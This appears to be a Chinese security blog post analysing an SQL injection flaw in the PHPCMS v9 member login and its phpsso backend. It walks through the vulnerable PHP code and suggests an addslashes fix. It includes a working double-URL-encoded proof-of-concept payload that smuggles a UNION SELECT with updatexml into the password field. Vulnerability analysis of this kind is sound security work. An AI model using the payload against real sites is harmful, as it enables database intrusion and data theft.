catalog

. 漏洞描述
. 漏洞触发条件
. 漏洞影响范围
. 漏洞代码分析
. 防御方法
. 攻防思考

1. 漏洞描述
2. 漏洞触发条件

0x1: POC

http://localhost/phpcms_v9/index.php?m=member&c=index&a=login

dosubmit=&username=phpcms&password=%26username%3d%%2bunion%2bselect%2b%%%252c%2527test%255c%%252cupdatexml(%252cconcat(0x5e24%252c(select%2buser())%252c0x5e24)%252c1)%252c%255c%%255c%%252c%255c%%255c%%252c%255c%%255c%%252c%255c%%255c%%252c%255c%%255c%%252c%255c%%255c%%252c%255c%%255c%%252c%255c%%255c%)%252c(%255c%%255c%%252c%255c%2527test%%252c%25275f1d7a84db00d2fce00b31a7fc73224f%%252c%%%252cnull%252cnull%252cnull%252cnull%252cnull%252cnull%252cnull%252cnull%252cnull%
//验证时可以手工填写验证码、或者把代码中的验证码验证逻辑临时注释掉

将"&username="进行url编码后作为password的值用于在phpsso中覆盖之前的username值,在"&username="后面添加进行两次url编码的SQL语句

3. 漏洞影响范围
4. 漏洞代码分析

\phpsso_server\phpcms\modules\phpsso\classes\phpsso.class.php

if(isset($_POST['data']))
{
/*
将getapplist()结果赋值给$_POST['data'],在auth_key解码之后使用parse_str解析成数组格式
这段代码如果在php5.3之前的情况下是没有问题的,因为默认情况下parse_str会启动gpc机制对特殊字符进行转义
但是在php5.3之后gpc机制默认就关闭掉了,这就导致如果解析出来的内容如果带有单引号这类个特殊字符,就原封不动的放到的变量中,这导致了注入的风险
*/
parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data); if(empty($this->data) || !is_array($this->data)) {
exit('');
}
}
else
{
exit('');
}

继续跟进login行为的代码
\phpsso_server\phpcms\modules\phpsso\index.php

public function login()
{
//$this->data的内容没有经过任何处理就直接参数到数据库查询当中,如果我们有auth_key的话,完全可以构造带有恶意的内容提交造成SQL注入漏洞
$this->password = isset($this->data['password']) ? $this->data['password'] : '';
$this->email = isset($this->data['email']) ? $this->data['email'] : '';
if($this->email) {
$userinfo = $this->db->get_one(array('email'=>$this->email));
} else {
$userinfo = $this->db->get_one(array('username'=>$this->username));
}

要直接利用login逻辑进行SQL注入,需要黑客有auth_key,phpcms auth_key泄漏的漏洞相关知识,请参阅另一篇文章

http://www.cnblogs.com/LittleHann/p/4624198.html

我们继续讨论黑客没有auth_key的情况,我们继续分析
\phpcms\modules\member\index.php
中的login方法

//username使用的is_username进行了过滤而password没有做任何处理
$username = isset($_POST['username']) && is_username($_POST['username']) ? trim($_POST['username']) : showmessage(L('username_empty'), HTTP_REFERER);
$password = isset($_POST['password']) && trim($_POST['password']) ? trim($_POST['password']) : showmessage(L('password_empty'), HTTP_REFERER);
$cookietime = intval($_POST['cookietime']);
$synloginstr = ''; //同步登陆js代码 if(pc_base::load_config('system', 'phpsso'))
{
$this->_init_phpsso();
//通过client的ps_member_login方法传入$username、$password获取一段数据
$status = $this->client->ps_member_login($username, $password);
$memberinfo = unserialize($status);

继续跟进ps_member_login
\phpcms\modules\member\classes\client.class.php

    public function ps_member_login($username, $password, $isemail=)
{
if($isemail) {
if(!$this->_is_email($username)) {
return -;
}
$return = $this->_ps_send('login', array('email'=>$username, 'password'=>$password));
} else {
$return = $this->_ps_send('login', array('username'=>$username, 'password'=>$password));
}
return $return;
} /**
* 发送数据
* @param $action 操作
* @param $data 数据
*/
private function _ps_send($action, $data = null)
{
//_ps_post这个方法向phpsso机制的请求login行为,即member的认证本质是通过phpsso来完成的,同时而phpsso的认证数据是需要auth_key编码的
return $this->_ps_post($this->ps_api_url."/index.php?m=phpsso&c=index&a=".$action, , $this->auth_data($data));
}

攻击向量

. 登录用户提交用户名和密码给menber的login
. 然后member的login通过ps_member_login构造发送phpsso请求login验证的http包,并且将用户名和密码使用auth_key进行编码,作为http包的post数据
. phpsso认证完成后,将用户的信息返回给member的login进行后续处理
. 在整个认证过程中,password没有做任何处理就直接传入phpsso,phpsso没有对于解码数据进行过滤,造成phpsso SQL注入问题

5. 防御方法

针对phpsso模块添加过滤代码,最好的方式应该是将转义和过滤放在数据库操作的前一步,这样可以极有效缓解SQL注入带来的问题
\phpcms\modules\member\index.php

$username = isset($_POST['username']) && is_username($_POST['username']) ? trim($_POST['username']) : showmessage(L('username_empty'), HTTP_REFERER);
//$password = isset($_POST['password']) && trim($_POST['password']) ? trim($_POST['password']) : showmessage(L('password_empty'), HTTP_REFERER);
/* 过滤、转义 */
$password = isset($_POST['password']) && trim($_POST['password']) ? addslashes(urldecode(trim($_POST['password']))) : showmessage(L('password_empty'), HTTP_REFERER);
/**/

Relevant Link:

http://www.tang3.org/blog/2015/07/21/PHPCMS用户登陆SQL注入漏洞分析/

6. 攻防思考

Copyright (c) 2015 Little5ann All rights reserved

PHPCMS \phpcms\modules\member\index.php 用户登陆SQL注入漏洞分析的更多相关文章

  1. PHPCMS V9.6.0 SQL注入漏洞分析

    0x01 此SQL注入漏洞与metinfo v6.2.0版本以下SQL盲注漏洞个人认为较为相似.且较为有趣,故在此分析并附上exp. 0x02 首先复现漏洞,环境为: PHP:5.4.45 + Apa ...

  2. 最新phpcms v9.6.0 sql注入漏洞分析

    昨天爆出来的,但其实在此之前就i记得在某群看见有大牛在群里装逼了.一直也没肯告诉.现在爆出来了.就来分析一下.官方现在也还没给出修复.该文不给出任何利用的EXP. 该文只做安全研究,不做任何恶意攻击! ...

  3. phpcms 2008 /preview.php SQL注入漏洞

    漏洞版本: phpcms 2008 漏洞描述: phpcms2008 是一款基于 PHP+Mysql 架构的网站内容管理系统,也是一个开源的 PHP 开发平台. phpcms 2008的preview ...

  4. PHPCMS 2008 SQL注入漏洞

    漏洞版本: PHPCMS 2008 漏洞描述: escape()方法无法过滤$genre变量进行二次URL编码,导致SQL注入漏洞产生. <* 参考 http://www.yunsec.net/ ...

  5. PHPCMS V9.6.0 SQL注入漏洞EXP

    运行于python3.5 import requests import time import re import sys def banner(): msg = '''--------------E ...

  6. Servlet课程0425(七) 到数据库中去验证用户,同时防止SQL注入漏洞

    Login.java //登录界面 package com.tsinghua; import javax.servlet.http.*; import java.io.*; public class ...

  7. PHPCMS v9.6.0 任意文件上传漏洞分析

    引用源:http://paper.seebug.org/273/ 配置了php debug的环境,并且根据这篇文章把流程走了一遍,对phpstorm的debug熟练度+1(跟pycharm一样) 用户 ...

  8. 通过SQL注入获得网站后台用户密码

    通过 SQL 注入攻击,掌握网站的工作机制,认识到 SQL 注入攻击的防范措施,加强对 Web 攻击的防范. 一.实验环境 下载所需代码及软件:获取链接:链接:https://pan.baidu.co ...

  9. PHPCMS \phpsso_server\phpcms\modules\phpsso\index.php、\api\get_menu.php Authkey Leakage

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 安装phpcms的时候会强制安装它的通行证 Relevant Link: ...

随机推荐

  1. struts2使用Convention Plugin在weblogic上以war包部署时,找不到Action的解决办法

    环境: struts 2.3.16.3 + Convention Plugin 2.3.16.3 实现零配置 现象:以文件夹方式部署在weblogic(10.3.3)上时一切正常,换成war包部署,运 ...

  2. 分布式中使用Redis实现Session共享(一)

    上一篇介绍了如何使用nginx+iis部署一个简单的分布式系统,文章结尾留下了几个问题,其中一个是"如何解决多站点下Session共享".这篇文章将会介绍如何使用Redis,下一篇 ...

  3. hdu5444Elven Postman(主席树思想的应用)

    主席树这个概念应该不陌生吧!恩?不会, 戳这里. 主席树(函数式线段树)用的是函数思想,一个节点开数组用来保存自己的左右节点,这样节省许多不必要的空间,还可以保存许多历史状态.而这里我们用的是主席树的 ...

  4. 你真的理解 new 了吗?

    开篇先提几个问吧,如果你对这些问题都清楚了,那说明对于 new  这个关键字已经掌握得很好了,也不再需要花时间来阅读本文了, 1   new  一个class  与 new   一个Struct有什么 ...

  5. MATLAB读取和写入Excel文件

    1. 读取Excel文件 (a) 命令方式xlsread:  读取命令:[data,text]  = xlsread(FileName, SheetName, Range); data保存的是数据单元 ...

  6. MinHash算法

    MinHash是用于快速检测两个集合的相似性的方法.改方法由Andrei Broder(1997)发明,并最初用于搜索引擎AltaVista中来检测重复的网页的算法.它同样可以用于推荐系统和大规模文档 ...

  7. java中的重绘

    void java.awt.Container.validate()Validates this container and all of its subcomponents.这个函数更新容器及其全部 ...

  8. 关于#pragma once和#ifndefine组合的区别

    最近在看duilib代码,发现头文件既有#pragma once 又有 #ifndefine...#define,忽然就觉得有点不解,因为据我所知这两者都是防止头文件二次包含的. 经过下面两位的解释后 ...

  9. android Baseadapter 和 ViewHolder的使用

    昨晚学习了徐大神的关于BaseAdapter的讲解,让我受益匪浅特来博客留下印记 说到baseadapter大家一定都不陌生,下面这张图就展示了数据.listview.baseadapter 之间的关 ...

  10. nginx 的动静分离配置(tomcat)

    nginx+tomcat是想动静分离配置 首先在nginx的配置文件中添加tomcat的的集群配置 upstream tomcats { ip_hash; server 192.168.0.251:8 ...